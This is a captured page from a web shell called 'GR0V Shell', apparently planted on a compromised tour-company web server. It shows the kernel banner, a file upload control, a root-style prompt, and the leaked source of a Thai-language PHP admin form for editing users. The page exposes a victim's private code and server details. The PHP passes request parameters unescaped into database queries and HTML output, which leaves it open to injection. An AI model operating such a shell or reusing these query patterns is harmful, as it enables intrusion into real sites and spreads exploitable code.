? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/modules/blog/
File Upload :
Current File : /home/admin/public_html/modules/blog/com_edit_user.php

<?
//require_once('function_user.php');
global $db;
$user_id=$_GET['user_id'];
$data=$db->getDataOneRow('users',$user_id,'user_id');
$data2=$db->getDataOneRow('user_profile',$user_id,'user_id');
//if($user_login['ID']!='1'){ $disable="disabled";}
if($data['user_type']==1&&$user_login['ID']!=1){$disable="disabled";}
function get_sub_cat($parent,$selected,$option){
	global $user_login,$db;
	$u=$user_login['ID'];
	$access=$user_login['Access'];
	$rs=$db->Query("SELECT * FROM usertype where  usertype_parent='$parent'");
	if($parent!=''){
		$option.="&nbsp;&nbsp;&nbsp;";
	}
	//$rs=$db->Query("SELECT * FROM package_cat where parent='$parent' and user_id='$u'");
	while($arr=mysql_fetch_array($rs)){
		$id=$arr['usertype_id'];
		$name=$arr['usertype_name'];
		if($arr['usertype_id']==$selected){$s="selected";}else{$s="";}
		if($parent!=''){
			$html.="<OPTION VALUE=\"$id\" $s>$option $name</OPTION>";
		}else{	$html.="<OPTION VALUE=\"$id\" $s>-$name</OPTION>";	}

		$html.=get_sub_cat($arr['usertype_id'],$selected,$option);
	}//end while
	return $html;
}
?>
<br>

<style>
	.tab_hover {
		color:#0A740A;
		cursor:pointer;
		width:131px;
		height:30px;
		background-image:url(./images/tab1.gif);
		border:0px;
		text-align:center;
		font-family:verdana;
		font-size:12px;
		font-weight:bold;
	}
	.tab {
		color:#0A740A;
		cursor:pointer;
		width:131px;
		height:30px;
		background-image:url(./images/tab2.gif);
		border:0px;
		text-align:center;
		font-family:verdana;
		font-size:12px;
		font-weight:none;
	}
	.data_tab {
		border:1px solid gray;
		width:800px;
		height:100px;
		text-align:left;
		font-family:verdana;
		font-size:12px;
		padding:.3em;
	}
	.tab_table_data {
		BORDER-RIGHT: #C1CDD8 1px solid;
		PADDING-RIGHT: 1px;
		BORDER-TOP: #C1CDD8 1px solid;
		PADDING-LEFT: 1px;
		PADDING-BOTTOM: 1px;
		BORDER-LEFT: #C1CDD8 1px solid;
		PADDING-TOP: 1px;
		BORDER-BOTTOM: #C1CDD8 1px solid;
		BACKGROUND-COLOR: #EFF5FB
	}
</style>
<script>
function check_from(){
	if(document.webForm.username.value==''){
		alert('กรุณากรอก Username');
		document.webForm.username.focus();
		return false;
	}else  if(document.webForm.username.value.length<4 || document.webForm.username.value.length>30){
		alert('กรุณากรอก Username 4-30 ตัวอักษร');
		document.webForm.username.focus();
		return false;
	}else if(document.webForm.name.value==''){
		alert('กรุณากรอกชื่อ');
		document.webForm.name.focus();
		return false;
	} else if(document.webForm.lastname.value==''){
		alert('กรุณากรอก นามสกุล');
		document.webForm.lastname.focus();
		return false;
	} else if(document.webForm.telephone.value==''){
		alert('กรุณากรอกเบอร์โทร');
		document.webForm.telephone.focus();
		return false;
	} else if(document.webForm.mobile.value==''){
		alert('กรุณากรอก เบอร์มือถือ');
		document.webForm.mobile.focus();
		return false;
	}  else if(document.webForm.email1.value==''){
		alert('กรุณากรอก Email Wonderfulpackage');
		document.webForm.email1.focus();
		return false;
	}
	return true;
}
</script>
<form method="post" name="webForm" action="<?echo"$PHPSELF?mod=blog&ac=edit_user_do";?>" enctype="multipart/form-data" onsubmit="return check_from()">
	<input type="hidden" value="<?=$user_id;?>" name="user_id">
	<input type="hidden" name="edit_photo" value="<?=$data2['photo'];?>">
	<br>

	<table width="100%" border="0" cellspacing="0" cellpadding="0">
		<tr>
			<td valign="top" width="100%">

				<table width=650 height=102  class=tab_table_data>

					<tr>
						<td width=450 height=77 align=center>
							<p align=center>&nbsp;

								<table border=0 cellpadding=0 cellspacing=0 style=border-collapse: collapse bordercolor=#111111 width=563 height=27>
									<tr>
										<td width=39 height=30></td>
										<td width=160 height=30 align=right></td>
										<td width=20 height=30></td>
										<td width=344 height=30><center><font size=3>ข้อมูลเข้าสู่ระบบ</font></center></td>
									</tr>
									<tr>
										<td width=39 height=30></td>
										<td width=160 height=30 align=right>Username</td>
										<td width=20 height=30></td>
										<td width=344 height=30><input type=text name=username size=35 class=backend_inputbox maxlength=30 value="<?=$data['user_login'];?>" <?echo $disable;?>> *  4-30 ตัวอักษร</td>
									</tr>
									<tr>
										<td width=39 height=30></td>
										<td width=160 height=30 align=right>Password</td>
										<td width=20 height=30></td>
										<td width=344 height=30><input type=password name=password size=35 class=backend_inputbox maxlength=30 <?echo $disable;?>> *</td>
									</tr>
									<tr>
										<td width=39 height=30></td>
										<td width=160 height=30 align=right>Re-Password</td>
										<td width=20 height=30></td>
										<td width=344 height=30><input type=password name=repassword size=35 class=backend_inputbox maxlength=30 <?echo $disable;?>> *</td>
									</tr>
									<tr>
										<td width="10" height="22"></td>
										<td width="150" height="22"  align="right" valign="top">Group</td>
										<td width="20" height="22"></td>
										<td width="450" height="22"><?=$data['usertype_id'];?>
											<SELECT MULTIPLE name="usertype" size="10" class="backend_inputbox">
												<?//echo select_cat($user,$table='blog_cat',$name='cat_id',$key_field='name',$value_field='id',$chk='');
												//	 $data=$db->getDataOneRow('package_cat',$user_login['Access'],'cat_main');
												$option="&nbsp;&nbsp;&nbsp;";
												echo get_sub_cat($parent,$data['user_type'],$option);
												?>
											</select>
										</td>
									</tr>
									<tr>
										<td width="39" height="6"></td>
										<td width="160" height="6" align="right">Block</td>
										<td width="20" height="6"></td>
										<td width="344" height="6">
											<?if($data['user_block']=='No'){$b='selected';}else{$nb='selected';}?>
											<select size="1" name="block" class="backend_inputbox">
												<option <?=$b;?>>No</option>
												<option <?=$nb;?>>Yes</option>
											</select></td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30></td>
											<td width=20 height=30></td>
											<td width=344 height=30></td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right></td>
											<td width=20 height=30></td>
											<td width=344 height=30><center><font size=3>ข้อมูลทั่วไป</font></center></td>
										</tr>
										<tr>
											<td width="39" height="6"></td>
											<td width="160" height="6" align="right">รูปถ่าย:</td>
											<td width="20" height="6"></td>
											<td width="600" height="6"><img src="../user_photo/thumbs/<?=$data2['photo'];?>"></td>
										</tr>
										<tr>
											<td width="39" height="6"></td>
											<td width="160" height="6" align="right">รูปถ่าย:</td>
											<td width="20" height="6"></td>
											<td width="600" height="6"><input type="file" name="photo[0]" size="35" class="backend_inputbox"> ประเภทไฟล์ JPG, GIF, PNG ขนาดไม่ควรเกิน 100 kb</td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right>ชื่อ</td>
											<td width=20 height=30></td>
											<td width=344 height=30 valign=left><input type=text name=name size=35 class=backend_inputbox maxlength=100 value="<?=$data2['name'];?>"> *</td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right>นามสกุล</td>
											<td width=20 height=30></td>
											<td width=344 height=30><input type=text name=lastname size=35 class=backend_inputbox maxlength=100 value="<?=$data2['lastname'];?>">  *</td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right>ชื่อ-เล่น</td>
											<td width=20 height=30></td>
											<td width=344 height=30 valign=left><input type=text name=nickname size=35 class=backend_inputbox maxlength=50 value="<?=$data2['nickname'];?>"></td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right>วันเกิด</td>
											<td width=20 height=30></td>
											<td width=344 height=30>
												<select name=day>
													<?
													for($i=1;$i<32;$i++){
														if($data2['day']==$i){
															echo "<OPTION  selected>".$i."</OPTION>";
														}else{echo "<OPTION >".$i."</OPTION>";}
													}

													?>
												</select>
												<select name=month>
													<?
													for($i=1;$i<=count($global_Month);$i++){
														if($data2['month']==$global_Month[$i]){
															echo "<OPTION  selected>".$global_Month[$i]."</OPTION>";
														}else{	echo "<OPTION >".$global_Month[$i]."</OPTION>";
														}
													}

													?>
												</select>
												<select name=year>
													<?
													foreach($global_Year as $k=>$v){
														if($data2['year']==$v){
															echo "<OPTION selected>".$v."</OPTION>";
														}else{
															echo "<OPTION>$v</OPTION>";
														}
													}

													?>
												</select>

											</td>
										</tr>
										<tr>
											<td width=39 height=30></td>
											<td width=160 height=30 align=right>เพศ</td>
											<td width=20 height=30></td>
											<td width=344 height=30>
												<input type="radio" value="male" <?if($data2['gender']=='male'){echo" checked";}?> name="gender"> ชาย <input type="radio" value="female"  name="gender"  <?if($data2['gender']=='female'){echo" checked";}?>>หญิง <input type="radio" value="not_specified"  name="gender"  <?if($data2['gender']=='not_specified'){echo" checked";}?>>ไม่ระบุ</td>
											</tr>
											<tr>
												<td width=39 height=20></td>
												<td width=160 height=20></td>
												<td width=20 height=20></td>
												<td width=344 height=20>--------------------------------------------------</td>
											</tr>
											<tr>
												<td width=39 height=30></td>
												<td width=160 height=30  align=right>ที่อยู่
													<br>Address</td>
													<td width=20 height=30></td>
													<td width=344 height=30><input type=text name=address size=35 class=backend_inputbox maxlength=100 value="<?=$data2['address'];?>"> </td>
												</tr>
												<tr>
													<td width=39 height=30></td>
													<td width=160 height=30  align=right> ถนน<br>Road</td>
													<td width=20 height=30></td>
													<td width=344 height=30><input type=text name=road size=35 class=backend_inputbox maxlength=150 value="<?=$data2['road'];?>"> </td>
												</tr>
												<tr>
													<td width=39 height=30></td>
													<td width=160 height=30  align=right> ตำบล/แขวง
														<br>Sub-District</td>
														<td width=20 height=30></td>
														<td width=344 height=30><input type=text name=sub_district size=35 class=backend_inputbox maxlength=150 value="<?=$data2['sub_district'];?>"> </td>
													</tr>
													<tr>
														<td width=39 height=30></td>
														<td width=160 height=30  align=right> 	อำเภอ/เขต
															<br>District</td>
															<td width=20 height=30></td>
															<td width=344 height=30><input type=text name=district size=35 class=backend_inputbox maxlength=150 value="<?=$data2['district'];?>"> </td>
														</tr>
														<tr>
															<td width=39 height=30></td>
															<td width=160 height=30  align=right> จังหวัด
																<br>Province</td>
																<td width=20 height=30></td>
																<td width=344 height=30>
																	<select name="province">
																		<?
																		foreach($global_Province as $k=>$v){
																			if($data2['province']==$v){
																				echo "<OPTION value=$k  selected>$v</OPTION>";
																			}else{
																				echo "<OPTION value=$k>$v</OPTION>";
																			}
																		}

																		?>
																	</select></td>
																</tr>
																<tr>
																	<td width=39 height=30></td>
																	<td width=160 height=30  align=right> รหัสไปรษณีย์
																		<br>Zipcode</td>
																		<td width=20 height=30></td>
																		<td width=344 height=30><input type=text name=zipcode size=35 class=backend_inputbox maxlength=10 value="<?=$data2['zipcode'];?>"> </td>
																	</tr>
																	<tr>
																		<td width=39 height=20></td>
																		<td width=160 height=20></td>
																		<td width=20 height=20></td>
																		<td width=344 height=20>--------------------------------------------------</td>
																	</tr>
																	<tr>
																		<td width=39 height=30></td>
																		<td width=160 height=30  align=right>โทรศัพท์บ้าน
																			<br>Telephone</td>
																			<td width=20 height=30></td>
																			<td width=344 height=30><input type=text name=telephone size=35 class=backend_inputbox maxlength=20 value="<?=$data2['telephone'];?>"> *</td>
																		</tr>
																		<tr>
																			<td width=39 height=30></td>
																			<td width=160 height=30  align=right>โทรศัพท์มือถือ
																				<br>Mobile Phone</td>
																				<td width=20 height=30></td>
																				<td width=344 height=30><input type=text name=mobile size=35 class=backend_inputbox maxlength=20 value="<?=$data2['mobile'];?>"> *</td>
																			</tr>
																			<tr>
																				<td width=39 height=20></td>
																				<td width=160 height=20></td>
																				<td width=20 height=20></td>
																				<td width=344 height=20>--------------------------------------------------</td>
																			</tr>
																			<tr>
																				<td width=39 height=30></td>
																				<td width=160 height=30  align=right> Email หลัก</td>
																				<td width=20 height=30></td>
																				<td width=344 height=30><input type=text name=email1 size=35 class=backend_inputbox maxlength=150 value="<?=$data2['email1'];?>"> *</td>
																			</tr>
																			<tr>
																				<td width=39 height=30></td>
																				<td width=160 height=30  align=right>Email สำรอง</td>
																				<td width=20 height=30></td>
																				<td width=344 height=30><input type=text name=email2 size=35 class=backend_inputbox maxlength=150 value="<?=$data2['email2'];?>"> </td>
																			</tr>
																			<tr>
																				<td width=39 height=30></td>
																				<td width=160 height=30  align=right>ตำแหน่งงาน</td>
																				<td width=20 height=30></td>
																				<td width=344 height=30><input type=text name=job size=35 class=backend_inputbox maxlength=200 value="<?=$data2['job'];?>"> </td>
																			</tr>
																			<tr>
																				<td width=39 height=30></td>
																				<td width=160 height=30></td>
																				<td width=20 height=30></td>
																				<td width=344 height=30></td>
																			</tr>
																		</table></td></tr></table>


																	</td>
																</tr>
																<tr>
																	<td><table width=650 height=30  class=tab_table_data>
																		<tr>
																			<td width=39 height=30></td>
																			<td width=160 height=30></td>
																			<td width=20 height=30></td>
																			<td width=344 height=30>
																				<input type=submit value=" บันทึก "   name=submit>&nbsp;
																				<input type=button value="  ยกเลิก  "  name=cancle onClick=javascript:window.history.back()></td>
																			</tr>
																		</table></td>
																	</tr>
																</table>
															</form>

T1KUS90T
  root-grov@210.1.60.28:~$